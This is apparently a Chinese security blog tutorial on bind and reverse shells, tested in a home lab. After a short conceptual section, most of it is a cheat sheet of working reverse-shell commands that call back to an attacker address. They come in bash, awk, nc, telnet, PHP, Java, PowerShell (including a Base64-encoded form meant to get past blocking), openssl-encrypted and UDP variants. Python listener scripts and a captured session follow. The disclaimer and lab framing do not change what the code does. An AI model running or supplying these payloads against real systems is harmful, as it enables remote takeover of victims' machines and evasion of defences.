免责声明:本文仅为网络安全技术知识分享与交流,所有内容均基于公开信息整理,旨在普及安全防护理念。任何读者不得利用文中提及的技术、思路从事违反《网络安全法》、《数据安全法》等法律法规的行为,亦不得用于侵犯他人合法权益的活动,相关法律责任由行为人自行承担。文中内容不构成专业技术指导,因读者自身操作不当、理解偏差或擅自违规使用相关技术导致的任何损失,本文作者不承担任何责任。阅读并使用本文内容,即视为同意本声明全部条款。
[1] 全国人民代表大会. 中华人民共和国刑法[S]. 1997年3月14日第八届全国人民代表大会第五次会议通过,根据2023年12月29日第十四届全国人民代表大会常务委员会第七次会议《关于修改〈中华人民共和国刑法〉的决定》(刑法修正案(十二))修正. 北京: 法律出版社, 2024年版: 第287条之一[EB/OL]. https://law.pkulaw.com/Readchinalaw/3b70bb09d2971662bdfb.html, 2025-11-24. 设立网站、通讯群组或发布信息用于实施诈骗等违法犯罪活动,情节严重的,可处3年以上7年以下有期徒刑,并处罚金. 参见张明楷. 刑法学[M]. 6版. 北京: 法律出版社, 2020(2023年重印): 1027-1028.
[2] 全国人民代表大会. 中华人民共和国刑法[S]. 见前注〔1〕: 第287条之二[EB/OL]. https://law.pkulaw.com/Readchinalaw/3b70bb09d2971662bdfb.html, 2025-11-24. 明知他人利用网络实施犯罪,仍提供技术支持或帮助,情节严重的,可处3年以上7年以下有期徒刑,并处罚金. 参见陈兴良. 网络犯罪的刑法应对[J]. 政法论坛, 2021, 39(5): 3-16.
[3] 全国人民代表大会. 中华人民共和国刑法[S]. 见前注〔1〕: 第285条[EB/OL]. https://law.pkulaw.com/Readchinalaw/3b70bb09d2971662bdfb.html, 2025-11-24. 侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统,可处3年以下有期徒刑或者拘役. 参见最高人民法院刑事审判庭. 刑法分则实务研究(下)[M]. 5版. 北京: 中国法制出版社, 2022: 1891-1892.
[4] 全国人民代表大会. 中华人民共和国刑法[S]. 见前注〔1〕: 第286条[EB/OL]. https://law.pkulaw.com/Readchinalaw/3b70bb09d2971662bdfb.html, 2025-11-24. 对计算机信息系统功能进行删除、修改、干扰,或制作、传播计算机病毒等破坏性程序,后果严重的,最高可处5年以上有期徒刑. 参见刘艳红. 数字时代网络犯罪的刑法规制困境与出路[J]. 中国法学, 2020(6): 150-174.

Above all

反弹 shell 有个反字,说明方向是不正常、不常规的。与之相对的是正向 shell。想了解反弹 shell 的机制逻辑,也需要从正向 shell 开始讲起。之所以需要用到正向 shell,是因为通过命令注入的时候,有时候会遇到服务器虽然执行了命令,但是没有回显,于是聪明的黑客就想到了执行一个命令,让服务器启动一个 shell,黑客连接这个 shell,相当于开了一个后门,这就是正向 shell。然而,正向 shell 在使用过程中存在缺陷,不太好用。于是聪明的黑客通过反弹 shell 的方式绕过了这些缺点。

但在真正开始了解正向 shell 和反弹 shell 这些概念之前,我们需要先知道:什么是 shell ?


Environment

受害者:

  • 192.168.0.128 (port:8888)
  • Thinkpad_T14p_Gen3
  • Windows11家庭中文版_25H2_26200.6899
  • Intel(R) Core(TM) Ultra 5 225H (14) @ 4.90 GHz

攻击机

  • 192.168.0.1 (port:9999)
  • VM_Pro_17.6.3 build-24583834
  • Linux ubuntu 6.14.0-28-generic #28~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 25 10:47:01 UTC 2 x86_64 x86_64 x86_64 GNU/Linux)

什么是 shell

shell 是介于 系统内核(Kernel)用户(User) 之间的用户应用层程序,它接收用户输入的命令,将其翻译成内核能理解的指令,再把内核的执行结果返回给用户。通常指的是命令行Shell(CLI),如 Linux 的 bash、Windows 的 cmd.exe。实际上图形界面 Shell(GUI)也被频繁使用,如 Windows 资源管理器、Linux 的 GNOME/KDE。

上面的话每个字都认识,一旦连起来是不是大脑就拒绝输入了🤪。叽里咕噜说了一堆,系统内核又是干什么的?shell 又是怎么配合系统内核工作的?

按照我个人的理解,内核是操作系统的核心,物理硬件只能理解高低电平代表的 01 信号,用户只能理解可读性较强的系统指令,而内核完成二进制信号和系统指令之间的“翻译”工作。举个例子。用户在 Linux 系统中输入指令 cat file.txt,物理硬件听不懂这是什么意思,于是系统内核掰开了揉碎了一步一步地教物理硬件要如何做:内核要求硬盘控制器读取 file.txt 对应的存储扇区,将磁头移动到目标扇区,将磁信号转为电信号,最终通过数据总线把文件数据传输到内存的指定空间(这里仅展示了硬盘读取这个环节的过程)。

现在我们对系统内核的工作过程有了初步的了解,那么这和 shell 有什么关系呢?

事实上,内核已经非常底层了,在内核中直接跑二进制代码(机器码),我等凡人也是看不懂的。如果将正在运行的操作系统比喻为一个“项目”,为了让我们能够便捷的使用操作系统,就需要一个“项目经理”将我们的系统命令拆解为具体的“需求”,然后根据“需求”调度不同的工具人来完成需求,最终让项目落地。以 python test.py 为例。当我们敲下这行命令并按下回车时,shell 开始进行需求识别“哦,这是要执行一个python程序”。然后 shell 抓来名叫解释器的工具人,给他找了个小单间(进程),让他在里面完成 test.py 脚本转换工作(程序代码转换为二进制机器码)。整个过程中,shell 只负责任务拆解(命令解析)和任务分配(进程调度),具体的业务行为交给专业的工具人去完成。

顺便一提,bash 中有“内部命令”和“外部命令”的区别。像 cat 这种命令,对应了一个具体的文件,属于“外部命令”,而像 cd 这种命令直接嵌入在 shell 程序(如/bin/bash)中,没有单独的磁盘文件,属于“内部命令”。“外部命令”的功能是通用的(例如 cat 读取并输出文件),不依赖 shell 的具体实现,任何 shell(bash、zsh、sh)都能调用它。用 python 来类比的话,cat/ls 是 bash 的标准库/第三方库,而 cd/if/for 是 bash 的关键字/内建函数。

最后用一个比喻来为这一小节收尾。如果把用户使用操作系统比喻为开车,那么 shell 就是用户手中的操作套件。这个套件中有方向盘、有油门刹车、有仪表盘、有电控面板。用户可以通过使用操作套件中的工具,来调度汽车的不同配件。你不需要懂得电车发动机和燃油发动机有什么区别,你只要会踩油门就能让车动起来。


为什么是 shell

系统控制接口有很多种,为什么偏爱 shell?因为它是目标系统最通用、最直接的命令执行接口

  1. shell 是所有类 Unix(Linux、BSD)和Windows系统中原生自带的控制接口,无需额外安装

  2. shell 能直接对接系统核心功能,权限边界清晰(可以直接调用系统调用、操作文件、管理进程、查询网络)

  3. 其他接口要么不通用,要么功能有限。(1)若选数据库接口(如 MySQL 命令行):只能操作数据库,无法管理系统文件、进程,无法提权到系统层面。(2)若选应用程序接口(如 Web 后台管理界面):功能被应用限制(只能做后台允许的操作),且容易被日志记录、权限管控拦截。(3)若选远程桌面(如 RDP):目标系统可能未开启,且流量特征明显,容易被防火墙或安全设备检测到。

  4. shell 支持灵活扩展,适配所有渗透场景。拿到基础 shell 后,攻击者可通过它上传脚本(如 Python 提权脚本)、植入后门(如反弹 shell 脚本)、开启其他服务(如 SSH)。无论是单机渗透、内网横向移动,还是持久化控制,shell 都能作为“基础载体”,适配不同攻击阶段的需求。

简单说:shell是目标系统的“原生控制终端”,相当于攻击者直接坐到了目标服务器的键盘前——既无需额外依赖,又能全面操作系统,其他任何接口都无法同时满足“通用、隐蔽、功能完整”这三个核心需求。


正向 shell

 Attacker                              Target
+---------------+         (1)         +---------------+
| 192.168.0.1   |------------------>>>| 192.168.0.128 |     
| anyport       |<<<------------------| 8888 (bash)   |
+---------------+         (2)         +---------------+

受害者上监听 8888 端口,将 /bin/bash 绑在这个端口。原本 shell 通过终端接收字符串,解析字符串执行系统命令。将 /bin.bash 绑定端口之后,shell 通过 8888 这个 tcp 端口接收字符串,将接收到的来自远程的字符串解析为系统命令,然后在本地执行。

nc -lvp 8888 -e /bin/bash
  • -l:代表入站,进入监听模式。
  • -v:代表输出信息级别,启用 verbose 模式,显示详细的连接信息。
  • -p 8888:指定监听的端口为 8888。
  • -e /bin/bash:在建立连接后,将远程连接与本地的 /bin/bash(命令行解释器)绑定,这意味着连接方可以直接控制本地的命令行。

接下来要用攻击机去正向连接这个 shell。因为想更加完整的了解中间的通信细节,这里选择手搓脚本而不是使用 powercat 等现成的工具。用 python 脚本起一个 tcp 连接,命令为 python shell_TCPserver.py 192.168.0.128 8888。脚本如下,感兴趣的可以在附件部分细读。


反弹 shell

上一小节验证了正向 shell 的可行性,但没有提到的是,正向 shell 其实有两个大问题。

其一,正向 shell 需要受害者的某个端口一直处于 open 状态,这种异常的端口开放行为容易被安全运维人员注意到。其二,正向 shell 需要提供一个稳定的寻址,如果受害者处于内网环境,攻击机无法通过 IP 直接连接到受害者就歇菜了。

有没有更加隐蔽、更加稳定的方法呢?

有的兄弟有的。我们可以使用反弹 shell。反弹 shell 就是让受害者主动连接攻击者的 IP,这个过程只需要攻击者主机上的某个端口保持开放就好了,具有很好的隐蔽性。同时,内网设备一般是可以直接访问外网的,只要攻击者有一个可供使用的公网 IP,就不用担心寻址的问题。

 Attacker                              Target
+---------------+         (1)         +---------------+
| 192.168.0.1   |<<<------------------| 192.168.0.128 |     
| 9999          |------------------>>>| anyport(bash) |
+---------------+         (2)         +---------------+

先运行手搓的 python 脚本,在攻击机上监听 tcp 端口 9999(python re_shell_TCPserver.py),然后在受害者上执行 bash -i >& /dev/tcp/192.168.0.1/9999 0>&1

bash -i >& /dev/tcp/192.168.0.1/9999 0>&1
  • bash -ibash是 Linux/Unix 系统中的命令解释器,-i参数表示启动一个交互式的 bash shell(允许用户输入命令并获得反馈)。
  • >& /dev/tcp/192.168.0.1/9999/dev/tcp/ip/port是 bash 提供的特殊文件(伪设备),用于与指定 IP(192.168.0.1)和端口(9999)建立 TCP 连接。>&表示将标准输出(stdout,文件描述符 1)和标准错误输出(stderr,文件描述符 2)重定向到这个 TCP 连接,即把 shell 的输出发送到远程主机。
  • 0>&10代表标准输入(stdin),&1表示引用标准输出的文件描述符。这部分的作用是将标准输入重定向到标准输出所指向的 TCP 连接,即让远程主机的输入作为当前 shell 的输入,从而实现双向交互。

TIPS:如何从 TIME_WAIT 状态快速释放 tcp 端口。

Get-NetTCPConnection | Where-Object { $_.LocalPort -eq 9999 } | Format-Table LocalAddress, LocalPort, State, OwningProcess
Stop-Process -Force -Id <OwningProcess_Id>

反弹 shell 的本质,就是建立一个由受害者设备发起的 tcp 连接。这个连接的通信需要是双向的,否则要么只能单向执行命令(看不到结果),或者被动的接收消息(需要配合其他手段执行命令(譬如 DNSlog 外带)。


花式反弹,只要是 TCP 就行

上面提到了反弹 shell 的本质是建立双向 tcp 连接。以此为基础,我们可以让反弹 shell 想怎么弹,就怎么弹。(ip、port 示例如下)

  • attacker==192.168.0.1:9999
  • victim====192.168.0.128

这里推荐一个在线反弹 shell 命令生成网站:http://www.nmd5.com/test/shell.html


使用Bash进行反弹

在攻击机上启动监听端口,在目标机上用 bash 启动反弹:

bash -i >& /dev/tcp/192.168.0.1/9999 0>&1
/bin/bash -i > /dev/tcp/192.168.0.1/9999 0<& 2>&1
exec 5<>/dev/tcp/192.168.0.1/9999;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/192.168.0.1/9999 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/192.168.0.1/9999; sh <&196 >&196 2>&196

使用exec执行Shell的方式

在攻击机上启动监听端口,在目标机上用 exec 启动反弹:

exec 5<> /dev/tcp/192.168.0.1/9999; cat <&5 | while read line; do $line 2>&5 >&5; done

使用awk进行反弹

在攻击机上启动监听端口,在目标机上用 awk 启动反弹:

awk 'BEGIN {s = "/inet/tcp/0/192.168.0.1/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# 或者执行:
awk 'BEGIN{ip="192.168.0.1";port=9999;cmd="nc "ip" "port" 2>&1";while((cmd|getline c)>0){if(c=="exit")break;cmd_exec="bash -c \""c"\" 2>&1";while((cmd_exec|getline out)>0)print out|cmd;close(cmd_exec);print "shell>"|cmd;fflush(cmd)}close(cmd)}'

但 awk 好像有个问题,缓冲区不能实时刷新。这意味着执行的命令不会立刻被看到,需要在执行 exit 命令断开连接后统一输出。这里我没有完全复现成功。


使用nc进行反弹

在攻击机上启动监听端口,在目标机上用 nc 启动反弹:

nc -e /bin/bash 192.168.0.1 9999

使用telnet进行反弹

在攻击机上启动两个端口,一个用来输入,一个用来输出:

nc -lvp 4444
nc -lvp 5555

在目标机上用 telnet 启动反弹:

telnet 192.168.0.1 4444 | /bin/bash | telnet 192.168.0.1 5555

基于PHP的反弹

在攻击机上启动监听端口,在目标机上用 php 启动反弹:

php -r '$sock=fsockopen("192.168.0.1", 9999);$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open("/bin/sh", $descriptorspec, $pipes);proc_close($process);'

基于 php 的反弹命令有些复杂。


基于Java的反弹

在目标机上编写一个 java 恶意类:

// ReShell.java
public class ReShell {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

然后编译运行

javac ReShell.java #编译

在攻击机上启动监听端口,在目标机上用 java 启动反弹:

java ReShell #执行

基于Powershell的反弹

在目标 Windows 主机的 PowerShell 中执行以下命令:

$client = New-Object System.Net.Sockets.TCPClient("192.168.0.1", 9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $client.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close()

若直接执行被拦截,可将命令 Base64 编码后执行(PowerShell 支持 Base64 解码执行):

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.0.1", 9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $client.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$base64 = [System.Convert]::ToBase64String($bytes)
Write-Output "$base64"

# JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAU3lzdGVtLlN5c3RlbS5Tb2NrZXRzLlRDUExpZW50KCJTMTkyLjE2OC4wLjEiLCA5OTk5KTsAJABzAHQAcgBlAGEAbQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBHAGUAdABTAHQAcgBlAGEAbQgpOwBbAGIAdAB5AGUAJ10AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANjU1MzUAewA6ADAAfTsAdwBoAaQBsAGUAKAAoACQAaQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBSAGUAYQBkACgAJABiAHkAdABlAHMAIAApACkAIAAtAG4AZQA9ACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAbgBlAE4AYQBtAGUAIABTeXN0ZW0ALgBUAGUAeAB0AC4AQQBTQ0lJAEVuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFN0AHIAaW5nICk7ACQAcwBlAG4AZABiAGEAYwBrADIAPAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUAByAGEAdAAgACsAIAAiAD4AIAAiOwAkAHMAZQBuAGQAYgB5AHQAZQA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACk7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBnAG4AdGgpOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQA7AH07ACQAY2xpZW50AC4AQwBsAG8AcwBlACgAKQA=

执行编码后的命令:powershell -EncodedCommand 生成的Base64字符串

powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAU3lzdGVtLlN5c3RlbS5Tb2NrZXRzLlRDUExpZW50KCJTMTkyLjE2OC4wLjEiLCA5OTk5KTsAJABzAHQAcgBlAGEAbQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBHAGUAdABTAHQAcgBlAGEAbQgpOwBbAGIAdAB5AGUAJ10AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANjU1MzUAewA6ADAAfTsAdwBoAaQBsAGUAKAAoACQAaQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBSAGUAYQBkACgAJABiAHkAdABlAHMAIAApACkAIAAtAG4AZQA9ACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAbgBlAE4AYQBtAGUAIABTeXN0ZW0ALgBUAGUAeAB0AC4AQQBTQ0lJAEVuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFN0AHIAaW5nICk7ACQAcwBlAG4AZABiAGEAYwBrADIAPAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUAByAGEAdAAgACsAIAAiAD4AIAAiOwAkAHMAZQBuAGQAYgB5AHQAZQA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACk7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBnAG4AdGgpOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQA7AH07ACQAY2xpZW50AC4AQwBsAG8AcwBlACgAKQA=

加密反弹Shell(openssl)

在攻击机上生成证书

openssl req -x509 -newkey rsa:4096 -keyout re_shell_key.pem -out re_shell_cert.pem -days 365 -nodes

然后输入证书信息,国家代码输入 CN,其他随意。我用 Windows 系统生成的,两个文件生成在 C:\Windows\System32 路径下。

在攻击机上监听 9999 端口(需要保证命令执行路径下有之前生成的两个文件 re_shell_key.pemre_shell_cert.pem

openssl s_server -quiet -key re_shell_key.pem -cert re_shell_cert.pem -port 9999

在目标机上用 openssl 执行反弹。

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:9999 > /tmp/s;rm /tmp/s

反弹 shell 成功。


骗你的,用 UDP 也可以

# Victim:
bash -i >& /dev/udp/192.168.0.1/9999 0>&1
# Listener:
nc -u -lvp 8080

这里我还是用的手搓脚本在攻击机上起了一个 UDP server。python re_shell_UDPserver.py

实验下来,通信极其不稳定。物理机和同一机器上的虚拟机进行通信尚且如此,都不敢想真实网络环境下的通信质量。

(下面是通信过程 :P)

PS C:\_Temp\re_shell>python .\re_shell_UDPserver.py
UDP listener started, waiting for reverse shell connection... Port: 9999
Waiting for client connection...
Received UDP reverse shell connection from ('192.168.0.128', 34666)!
You can enter commands (type 'exit' to disconnect):
ubuntu@ubuntu:~$ whoami
w

 17:34:34 up 15:55,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      来自           LOGIN@   IDLE   JCPU   PCPU  WHAT
ubuntu            192.168.0.1      11:39   32:27m  0.00s   ?    sshd: ubuntu [priv]
gdm      tty1     -                四09   32:22m  1:48   0.01s /usr/libexec/gsd-printer
ubuntu@ubuntu:~$ pwd
p

p:未找到命令
ubuntu@ubuntu:~$ ls
l

公共/  视频/  文档/  音乐/  paperless-ngx/  ReShell.java
模板/  图片/  下载/  桌面/  ReShell.class   snap/
ubuntu@ubuntu:~$

参考文档


附件A:shell_TCPserver.py

# shell_TCPserver.py
import socket
import sys
import signal
from argparse import ArgumentParser

def signal_handler(signal, frame):
    """Handle Ctrl+C signal for graceful exit"""
    print("\nInterrupt signal received, exiting program...")
    sys.exit(0)

def main():
    # Register signal handler to catch Ctrl+C
    signal.signal(signal.SIGINT, signal_handler)
    
    # Parse command line arguments
    parser = ArgumentParser(description='Remote Command Execution Client')
    parser.add_argument('ip', help='Target host IP address')
    parser.add_argument('port', type=int, help='Target host port number')
    args = parser.parse_args()
    
    target_ip = args.ip
    target_port = args.port
    
    try:
        # Create TCP connection
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, target_port))
        print(f"Connected to {target_ip}:{target_port}")
        
        while True:
            # Read user input
            user_input = input("shell> ").strip()
            
            # Remove all \r and non-printable control characters
            clean_input = ''.join([c for c in user_input if c not in '\r' and ord(c) >= 0x20])
            
            # Send command (append Linux-style \n newline character)
            sock.sendall(f"{clean_input}\n".encode('utf-8'))
            
            # Receive response (read line by line until newline character)
            response = b""
            while True:
                data = sock.recv(1024)
                if not data:
                    print("Connection closed")
                    return
                response += data
                if b'\n' in response:
                    break  # Exit loop after receiving a complete line of response
            
            # Decode and print response (remove trailing newline for clean output)
            print(response.decode('utf-8').rstrip('\n'))
            
    except ConnectionRefusedError:
        print("Connection refused. Please check if the controlled machine is listening on the specified port.")
    except Exception as e:
        print(f"ERROR: {str(e)}")
    finally:
        try:
            sock.close()
        except:
            pass
        print("Connection closed")

if __name__ == "__main__":
    main()

附件B:re_shell_TCPserver.py

# re_shell_TCPserver.py
import socket
import sys
import threading

def receive_data(client_socket):
    """Continuously receive data from the client (controlled machine) and print it"""
    while True:
        try:
            data = client_socket.recv(1024)
            if not data:
                print("\nConnection closed")
                break
            # Print received content (shell output)
            print(data.decode('utf-8'), end='', flush=True)
        except Exception as e:
            print(f"\nError receiving data: {e}")
            break

def send_commands(client_socket):
    """Continuously read user input and send it to the client (controlled machine)"""
    while True:
        try:
            # Get user input commands (e.g., ls, pwd)
            command = input()
            if command.lower() == 'exit':
                print("Disconnecting...")
                client_socket.close()
                break
            # Send command (add newline to simulate pressing Enter in the shell)
            client_socket.sendall((command + '\n').encode('utf-8'))
        except Exception as e:
            print(f"\nError sending command: {e}")
            break

# Create TCP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # Allow port reuse
server_socket.bind(('0.0.0.0', 9999))
server_socket.listen(5)
print("TCP listener started, waiting for reverse shell connection... Port: 9999")

# Accept connection
client_socket, client_addr = server_socket.accept()
print(f"Connected to reverse shell from {client_addr}!")
print("You can enter commands (type 'exit' to disconnect):")

# Start threads for receiving and sending
receive_thread = threading.Thread(target=receive_data, args=(client_socket,))
receive_thread.daemon = True  # Subthread exits when main thread exits
receive_thread.start()

send_commands(client_socket)  # Main thread handles command sending

# Close connections
client_socket.close()
server_socket.close()

附件C:re_shell_UDPserver.py

# re_shell_UDPserver.py
import socket
import sys
import threading

def receive_data(udp_socket, client_addr):
    """Continuously receive data from client and print"""
    while True:
        try:
            # Receive data with buffer size 1024 bytes
            data, addr = udp_socket.recvfrom(1024)
            # Verify data source matches connected client
            if addr != client_addr:
                continue
            if not data:
                print("\nConnection closed")
                break
            # Print received content (shell output)
            print(data.decode('utf-8'), end='', flush=True)
        except Exception as e:
            print(f"\nError receiving data: {e}")
            break

def send_commands(udp_socket, client_addr):
    """Continuously read user input and send to client"""
    while True:
        try:
            # Get command input from user (e.g., ls, pwd)
            command = input()
            if command.lower() == 'exit':
                print("Disconnecting...")
                # Send exit command to client
                udp_socket.sendto(command.encode('utf-8'), client_addr)
                break
            # Send command (add newline to simulate enter key in shell)
            udp_socket.sendto((command + '\n').encode('utf-8'), client_addr)
        except Exception as e:
            print(f"\nError sending command: {e}")
            break

# Create UDP socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # Allow port reuse
udp_socket.bind(('0.0.0.0', 9999))
print("UDP listener started, waiting for reverse shell connection... Port: 9999")

# Wait for first communication from client to get its address
print("Waiting for client connection...")
data, client_addr = udp_socket.recvfrom(1024)
print(f"Received UDP reverse shell connection from {client_addr}!")
print("You can enter commands (type 'exit' to disconnect):")
# Print first received data
print(data.decode('utf-8'), end='', flush=True)

# Start thread for receiving data
receive_thread = threading.Thread(target=receive_data, args=(udp_socket, client_addr))
receive_thread.daemon = True  # Subthread exits when main thread exits
receive_thread.start()

# Main thread handles command sending
send_commands(udp_socket, client_addr)

# Close socket
udp_socket.close()